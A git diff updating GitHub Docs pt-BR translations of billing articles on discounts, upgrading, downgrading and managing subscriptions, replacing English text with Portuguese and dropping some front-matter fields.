diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
index 6209f8ad3b..4815a95bd9 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Discounted subscriptions for GitHub accounts
-intro: '{% data variables.product.product_name %} provides discounts to students, educators, educational institutions, nonprofits, and libraries.'
+title: Assinaturas com desconto para contas do GitHub
+intro: 'O {% data variables.product.product_name %} oferece descontos para estudantes, professores, instituições educacionais, organizações sem fins lucrativos e bibliotecas.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts
   - /articles/discounted-personal-accounts
@@ -18,28 +18,29 @@ topics:
   - Discounts
   - Nonprofits
   - User account
-shortTitle: Discounted subscriptions
+shortTitle: Assinaturas com desconto
 ---
+
 {% tip %}
 
-**Tip**: Discounts for {% data variables.product.prodname_dotcom %} do not apply to subscriptions for other paid products and features.
+**Dica**: os descontos para o {% data variables.product.prodname_dotcom %} não se aplicam a assinaturas para outros recursos e produtos pagos.
 
 {% endtip %}
 
-## Discounts for personal accounts
+## Descontos para contas pessoais
 
-In addition to the unlimited public and private repositories for students and faculty with {% data variables.product.prodname_free_user %}, verified students can apply for the {% data variables.product.prodname_student_pack %} to receive additional benefits from {% data variables.product.prodname_dotcom %} partners. For more information, see "[Apply for a student developer pack](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)."
+Além de repositórios públicos e privados ilimitados para alunos e docentes com o {% data variables.product.prodname_free_user %}, os alunos confirmados podem se inscrever no {% data variables.product.prodname_student_pack %} para receber outros benefícios de parceiros do {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Aplicar a um pacote de desenvolvedor para estudante](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)".
 
-## Discounts for schools and universities
+## Descontos para escolas e universidades
 
-Verified academic faculty can apply for {% data variables.product.prodname_team %} for teaching or academic research. For more information, see "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)." You can also request educational materials goodies for your students. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/).
+Os docentes acadêmicos confirmados podem se inscrever na {% data variables.product.prodname_team %} para atividades de ensino ou pesquisa acadêmica. Para obter mais informações, consulte "[Usar {% data variables.product.prodname_dotcom %} na sua sala de aula e pesquisa](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)". Também é possível solicitar brindes de material educacional para os alunos. Para obter mais informações, visite [{% data variables.product.prodname_education %}](https://education.github.com/).
 
-## Discounts for nonprofits and libraries
+## Descontos para organizações sem fins lucrativos e bibliotecas
 
-{% data variables.product.product_name %} provides free {% data variables.product.prodname_team %} for organizations with unlimited private repositories, unlimited collaborators, and a full feature set to qualifying 501(c)3 (or equivalent) organizations and libraries. You can request a discount for your organization on [our nonprofit page](https://github.com/nonprofit).
+O {% data variables.product.product_name %} oferece gratuitamente o {% data variables.product.prodname_team %} a organizações com repositórios privados ilimitados, colaboradores ilimitados e um recurso completo para qualificação de organizações e bibliotecas como 501(c)3 (ou equivalente). Você pode solicitar um desconto para sua organização na [nossa página de organizações sem fins lucrativos](https://github.com/nonprofit).
 
-If your organization already has a paid subscription, your organization's last transaction will be refunded once your nonprofit discount has been applied.
+Se a sua organização já tiver uma assinatura paga, a última transação dela será reembolsada depois que tiver sido aplicado o desconto para organizações sem fins lucrativos.
 
-## Further reading
+## Leia mais
 
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)"
+- "[Sobre a cobrança no {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
index cdaa744340..0fe3d108bd 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading your GitHub subscription
-intro: 'You can downgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
+title: Fazer downgrade da sua assinatura do GitHub
+intro: 'Você pode fazer o downgrade da assinatura para qualquer tipo de conta em {% data variables.product.product_location %} a qualquer momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription
   - /articles/downgrading-your-personal-account-s-billing-plan
@@ -26,71 +26,62 @@ topics:
   - Organizations
   - Repositories
   - User account
-shortTitle: Downgrade subscription
+shortTitle: Downgrade da assinatura
 ---
-## Downgrading your {% data variables.product.product_name %} subscription
 
-When you downgrade your user account or organization's subscription, pricing and account feature changes take effect on your next billing date. Changes to your paid user account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features. For more information, see "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)."
+## Rebaixando sua assinatura {% data variables.product.product_name %}
 
-## Downgrading your user account's subscription
+Quando você faz o downgrade (rebaixa) a assinatura da sua conta de usuário ou organização, as alterações de preços e recursos da conta fazem efeito a partir da próxima data de faturamento. Alterações em sua conta de usuário paga ou assinatura de organização não afetam assinaturas ou pagamentos para outros recursos pagos {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Como a atualização ou o downgrade afeta o processo de cobrança?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)."
 
-If you downgrade your user account from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, the account will lose access to advanced code review tools on private repositories. {% data reusables.gated-features.more-info %}
+## Fazer downgrade da sua assinatura de conta de usuário
+
+Se você fizer o downgrade da sua conta de usuário de {% data variables.product.prodname_pro %} para {% data variables.product.prodname_free_user %}, a conta perderá o acesso a ferramentas avançadas de revisão de código em repositórios privados. {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Under "Current plan", use the **Edit** drop-down and click **Downgrade to Free**.
-  ![Downgrade to free button](/assets/images/help/billing/downgrade-to-free.png)
-5. Read the information about the features your user account will no longer have access to on your next billing date, then click **I understand. Continue with downgrade**.
-  ![Continue with downgrade button](/assets/images/help/billing/continue-with-downgrade.png)
+1. Em "Plano atual", use o menu suspenso **Editar** e clique em **Fazer downgrade para grátis**. ![Botão Downgrade to free (Fazer downgrade para o Free)](/assets/images/help/billing/downgrade-to-free.png)
+5. Leia as informações sobre os recursos aos quais sua organização deixará de ter acesso na próxima data de sua cobrança e clique em **Eu compreendi. Continue com o downgrade**. ![Continuar com o botão de downgrade](/assets/images/help/billing/continue-with-downgrade.png)
 
-If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, remove or update your DNS records before downgrading from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+Se você tiver publicado um site do {% data variables.product.prodname_pages %} em um repositório privado e adicionado um domínio personalizado, remova ou atualize seus registros DNS antes de fazer downgrade do {% data variables.product.prodname_pro %} para {% data variables.product.prodname_free_user %}, a fim de evitar o risco de uma aquisição de domínio. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".
 
-## Downgrading your organization's subscription
+## Rebaixando a assinatura da sua organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-If you downgrade your organization from {% data variables.product.prodname_team %} to {% data variables.product.prodname_free_team %} for an organization, the account will lose access to advanced collaboration and management tools for teams.
+Se você fizer o downgrade da sua organização de {% data variables.product.prodname_team %} para {% data variables.product.prodname_free_team %}, para uma organização, a conta perderá o acesso a ferramentas avançadas de colaboração e gerenciamento para equipes.
 
-If you downgrade your organization from {% data variables.product.prodname_ghe_cloud %} to {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %}, the account will lose access to advanced security, compliance, and deployment controls. {% data reusables.gated-features.more-info %}
+Se você fizer o downgrade da sua organização de {% data variables.product.prodname_ghe_cloud %} para {% data variables.product.prodname_team %} ou {% data variables.product.prodname_free_team %}, a conta perderá o acesso a controles avançados de segurança, conformidade e implantação. {% data reusables.gated-features.more-info %}
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click the downgrade option you want.
-  ![Downgrade button](/assets/images/help/billing/downgrade-option-button.png)
+1. Em "Plano atual", use o menu suspenso **Editar** e clique na opção de downgrade que você deseja. ![Botão Downgrade (Fazer downgrade)](/assets/images/help/billing/downgrade-option-button.png)
 {% data reusables.dotcom_billing.confirm_cancel_org_plan %}
 
-## Downgrading an organization's subscription with legacy per-repository pricing
+## Fazer downgrade da assinatura de uma organização com o preço antigo por repositório
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[Switching your organization from per-repository to per-user pricing](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %} Para obter mais informações, consulte "[Mudar sua organização de um preço por repositório para um preço por usuário](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)".
 
 {% data reusables.organizations.billing-settings %}
-5. Under "Subscriptions", select the "Edit" drop-down, and click **Edit plan**.
-    ![Edit Plan dropdown](/assets/images/help/billing/edit-plan-dropdown.png)
-1. Under "Billing/Plans",  next to the plan you want to change, click **Downgrade**.
-    ![Downgrade button](/assets/images/help/billing/downgrade-plan-option-button.png)
-1. Enter the reason you're downgrading your account, then click **Downgrade plan**.
-    ![Text box for downgrade reason and downgrade button](/assets/images/help/billing/downgrade-plan-button.png)
+5. Em "Assinaturas", selecione o menu suspenso "Editar" e clique em **Editar plano**. ![Menu suspenso Editar plano](/assets/images/help/billing/edit-plan-dropdown.png)
+1. Em "Billing/Plans" (Cobrança/Planos), ao lado do plano que deseja alterar, clique em **Downgrade**. ![Botão Downgrade (Fazer downgrade)](/assets/images/help/billing/downgrade-plan-option-button.png)
+1. Insira o motivo pelo qual você está fazendo o downgrade da sua conta e clique em **Fazer downgrade do plano**. ![Caixa de texto para motivo de downgrade e botão de downgrade](/assets/images/help/billing/downgrade-plan-button.png)
 
-## Removing paid seats from your organization
+## Remover estações pagas da sua organização
 
-To reduce the number of paid seats your organization uses, you can remove members from your organization or convert members to outside collaborators and give them access to only public repositories. For more information, see:
-- "[Removing a member from your organization](/articles/removing-a-member-from-your-organization)"
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+Para reduzir o número de estações pagas usadas pela sua organização, remova integrantes dela ou converta integrantes em colaboradores externos e conceda a eles acesso somente a repositórios públicos. Para obter mais informações, consulte:
+- "[Remover um integrante da organização](/articles/removing-a-member-from-your-organization)"
+- "[Converter um integrante da organização em colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[Gerenciar o acesso de um indivíduo a um repositório da organização](/articles/managing-an-individual-s-access-to-an-organization-repository)"
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click **Remove seats**.
-  ![remove seats dropdown](/assets/images/help/billing/remove-seats-dropdown.png)
-1. Under "Remove seats", select the number of seats you'd like to downgrade to.
-  ![remove seats option](/assets/images/help/billing/remove-seats-amount.png)
-1. Review the information about your new payment on your next billing date, then click **Remove seats**.
-  ![remove seats button](/assets/images/help/billing/remove-seats-button.png)
+1. Em "Plano atual", use o menu suspenso **Editar** e clique em **Remover estações**. ![menu suspenso para remover estações](/assets/images/help/billing/remove-seats-dropdown.png)
+1. Em "Remove seats" (Remover estações), selecione o número de estações em que você deseja fazer downgrade. ![opção de remover estações](/assets/images/help/billing/remove-seats-amount.png)
+1. Revise as informações sobre seu novo pagamento na sua próxima data de cobrança e clique em **Remove seats** (Remover estações). ![botão de remover estações](/assets/images/help/billing/remove-seats-button.png)
 
-## Further reading
+## Leia mais
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
-- "[Removing a payment method](/articles/removing-a-payment-method)"
-- "[About per-user pricing](/articles/about-per-user-pricing)"
+- "[Produtos do {% data variables.product.prodname_dotcom %}](/articles/github-s-products)"
+- "[Como a atualização ou o downgrade afetam o processo de cobrança?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- "[Sobre a cobrança no {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)"
+- "[Sobre preços por usuário](/articles/about-per-user-pricing)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/index.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/index.md
index 7801363423..a4c66cf00f 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/index.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for your GitHub account
-shortTitle: Your GitHub account
-intro: '{% ifversion fpt %}{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade, downgrade, and view pending changes to your account''s subscription at any time.{% elsif ghec or ghes or ghae %}You can manage billing for {% data variables.product.product_name %}{% ifversion ghae %}.{% elsif ghec or ghes %} from your enterprise account on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}{% endif %}'
+title: Gerenciar a cobrança de sua conta GitHub
+shortTitle: Sua conta no GitHub
+intro: '{% ifversion fpt %}{% data variables.product.product_name %} oferece produtos grátis e pagos para cada conta. Você pode atualizar, fazer o downgrade e visualizar as alterações pendentes da assinatura da sua conta a qualquer momento.{% elsif ghec or ghes or ghae %}Você pode gerenciar a cobrança para {% data variables.product.product_name %}{% ifversion ghae %}.{% elsif ghec or ghes %} a partir da sua conta corporativa em {% data variables.product.prodname_dotcom_the_website %}.{% endif %}{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account
   - /categories/97/articles
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
index a83bad78a7..d89de5cb98 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Gerenciando faturas da sua empresa
 shortTitle: Gerenciar faturas
 intro: 'Você pode visualizar, pagar ou fazer o download de uma fatura atual da sua empresa e poderá ver seu histórico de pagamentos.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 versions:
   ghec: '*'
 type: how_to
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
index fee3631236..b722a47939 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading your GitHub subscription
-intro: 'You can upgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
+title: Atualizar sua assinatura do GitHub
+intro: 'Você pode atualizar a assinatura para qualquer tipo de conta em {% data variables.product.product_location %} a qualquer momento.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription
@@ -29,37 +29,36 @@ topics:
   - Troubleshooting
   - Upgrades
   - User account
-shortTitle: Upgrade your subscription
+shortTitle: Atualizar a sua assinatura
 ---
 
-## About subscription upgrades
+## Sobre atualizações da assinatura
 
 {% data reusables.accounts.accounts-billed-separately %}
 
-When you upgrade the subscription for an account, the upgrade changes the paid features available for that account only, and not any other accounts you use.
+Ao atualizar a assinatura de uma conta, a atualização altera as funcionalidades pagas disponíveis apenas para essa conta, e não as outras contas que você usa.
 
-## Upgrading your personal account's subscription
+## Atualizar a assinatura da sua conta pessoal
 
-You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your user account. Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %}
+Você pode atualizar sua conta pessoal de {% data variables.product.prodname_free_user %} para {% data variables.product.prodname_pro %} para ter ferramentas avançadas de revisão de código em repositórios privados pertencentes à sua conta de usuário. A atualização de sua conta pessoal não afeta nenhuma organização que você possa gerenciar ou repositórios pertencentes a essas organizações. {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Next to "Current plan", click **Upgrade**.
-  ![Upgrade button](/assets/images/help/billing/settings_billing_user_upgrade.png)
-2. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**.
+1. Ao lado de "Plano atual", clique em **Atualizar**. ![Botão Upgrade (Atualizar)](/assets/images/help/billing/settings_billing_user_upgrade.png)
+2. Em "Pro" na página "Comparar planos", clique em **Fazer atualização para Pro**.
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.show-plan-details %}
 {% data reusables.dotcom_billing.enter-billing-info %}
 {% data reusables.dotcom_billing.enter-payment-info %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-## Managing your organization's subscription
+## Gerenciando a assinatura da organização
 
-You can upgrade your organization's subscription to a different product, add seats to your existing product, or switch from per-repository to per-user pricing.
+Você pode atualizar a assinatura da sua organização para um produto diferente, adicionar estações ao produto existente ou mudar de preços por repositório para preços por usuário.
 
-### Upgrading your organization's subscription
+### Atualizar a assinatura da organização
 
-You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %}
+Você pode atualizar sua organização de {% data variables.product.prodname_free_team %} para uma organização para {% data variables.product.prodname_team %} para acessar ferramentas avançadas de gerenciamento e colaboração para equipes ou atualizar sua organização para o {% data variables.product.prodname_ghe_cloud %} para obter controles adicionais de segurança, conformidade e implantação. A atualização de uma organização não afeta sua conta pessoal ou repositórios pertencentes à sua conta pessoal. {% data reusables.gated-features.more-info-org-products %}
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
@@ -72,41 +71,39 @@ You can upgrade your organization from {% data variables.product.prodname_free_t
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %}
+### Próximas etapas para organizações que usam o {% data variables.product.prodname_ghe_cloud %}
 
-If you upgraded your organization to {% data variables.product.prodname_ghe_cloud %}, you can set up identity and access management for your organization. For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Se você tiver atualizado sua organização para o {% data variables.product.prodname_ghe_cloud %}, você poderá configurar a identidade e a gestão de acesso para a sua organização. Para obter mais informações, consulte "[Gerenciar logon único SAML para a sua organização](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}"{% endif %}
 
-If you'd like to use an enterprise account with {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Caso queira usar uma conta corporativa com o {% data variables.product.prodname_ghe_cloud %}, entre em contato com {% data variables.contact.contact_enterprise_sales %}. Para obter mais informações, consulte "[Sobre contas corporativas](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %}
 
-### Adding seats to your organization
+### Adicionar estações à organização
 
-If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime.
+Se você quiser que outros usuários tenham acesso aos repositórios privados da organização {% data variables.product.prodname_team %}, você poderá comprar mais estações a qualquer momento.
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.add-seats %}
 {% data reusables.dotcom_billing.number-of-seats %}
 {% data reusables.dotcom_billing.confirm-add-seats %}
 
-### Switching your organization from per-repository to per-user pricing
+### Trocar o plano de cobrança da organização de preços por repositório para por usuário
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %} Para obter mais informações, consulte "[Sobre preços por usuário](/articles/about-per-user-pricing)".
 
 {% data reusables.organizations.billing-settings %}
-5. To the right of your plan name, use the **Edit** drop-down menu, and select **Edit plan**.
-  ![Edit drop-down menu](/assets/images/help/billing/per-user-upgrade-button.png)
-6. To the right of "Advanced tools for teams", click **Upgrade now**.
-  ![Upgrade now button](/assets/images/help/billing/per-user-upgrade-now-button.png)
+5. À direita do nome do seu plano, use o menu suspenso **Editar** e selecione **Editar plano**. ![Menu suspenso de editar](/assets/images/help/billing/per-user-upgrade-button.png)
+6. À direita das "Ferramentas avançadas para equipes", clique em **Atualizar agora**. ![Botão Atualizar agora](/assets/images/help/billing/per-user-upgrade-now-button.png)
 {% data reusables.dotcom_billing.choose_org_plan %}
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-## Troubleshooting a 500 error when upgrading
+## Solucionar problemas de erro 500 ao atualizar
 
 {% data reusables.dotcom_billing.500-error %}
 
-## Further reading
+## Leia mais
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+- "[Produtos do {% data variables.product.prodname_dotcom %}](/articles/github-s-products)"
+- "[Como a atualização ou o downgrade afetam o processo de cobrança?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- "[Sobre a cobrança no {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
index 6b946551a5..c51400967e 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing pending changes to your subscription
-intro: You can view and cancel pending changes to your subscriptions before they take effect on your next billing date.
+title: Exibir e gerenciar alterações pendentes na sua assinatura
+intro: É possível exibir e cancelar alterações pendentes em assinaturas antes que elas tenham efeito na próxima data de cobrança.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription
   - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan
@@ -15,13 +15,14 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Pending subscription changes
+shortTitle: Alterações de assinatura pendentes
 ---
-You can cancel pending changes to your account's subscription as well as pending changes to your subscriptions to other paid features and products.
 
-When you cancel a pending change, your subscription will not change on your next billing date (unless you make a subsequent change to your subscription before your next billing date).
+Você pode cancelar alterações pendentes na assinatura da sua conta ou de outros recursos e produtos pagos.
 
-## Viewing and managing pending changes to your personal account's subscription
+Quando você cancela uma alteração pendente, sua assinatura não é alterada na próxima data de cobrança (a menos que você faça uma alteração subsequente na assinatura antes da próxima data de cobrança).
+
+## Exibir e gerenciar alterações pendentes na assinatura da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -29,13 +30,13 @@ When you cancel a pending change, your subscription will not change on your next
 {% data reusables.dotcom_billing.cancel-pending-changes %}
 {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
 
-## Viewing and managing pending changes to your organization's subscription
+## Exibir e gerenciar alterações pendentes na assinatura da sua organização
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.review-pending-changes %}
 {% data reusables.dotcom_billing.cancel-pending-changes %}
 {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
 
-## Further reading
+## Leia mais
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
+- "[Produtos do {% data variables.product.prodname_dotcom %}](/articles/github-s-products)"
diff --git a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
index 0aaa99be40..401dd69b73 100644
--- a/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
+++ b/translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Exibir assinatura e uso da conta corporativa
 intro: 'Você pode ver a assinatura atual {% ifversion ghec %}, {% endif %}uso da licença{% ifversion ghec %}faturas, histórico de pagamentos e outras informações de faturamento{% endif %} para {% ifversion ghec %}conta corporativa{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account
diff --git a/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md b/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
index 86724905ed..1c01463d94 100644
--- a/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
+++ b/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: About Visual Studio subscriptions with GitHub Enterprise
-intro: 'You can give {% data variables.product.prodname_vs %} subscribers on your team access to {% data variables.product.prodname_enterprise %} with a combined offering from Microsoft.'
+title: Sobre as assinaturas do Visual Studio com GitHub Enterprise
+intro: 'Você pode fornecer assinantes de {% data variables.product.prodname_vs %} na sua equipe acesso a {% data variables.product.prodname_enterprise %} com uma oferta combinada da Microsoft.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise
   - /github/setting-up-and-managing-your-enterprise/managing-licenses-for-the-github-enterprise-and-visual-studio-bundle
@@ -16,36 +16,36 @@ type: overview
 topics:
   - Enterprise
   - Licensing
-shortTitle: About
+shortTitle: Sobre
 ---
 
-## About {% data variables.product.prodname_vss_ghe %}
+## Sobre o {% data variables.product.prodname_vss_ghe %}
 
-{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} is available from Microsoft under the terms of the Microsoft Enterprise Agreement. For more information, see [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) on the {% data variables.product.prodname_vs %} website.
+{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} está disponível na Microsoft nos termos do Contrato corporativo da Microsoft. Para obter mais informações, consulte [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) no site {% data variables.product.prodname_vs %}
 
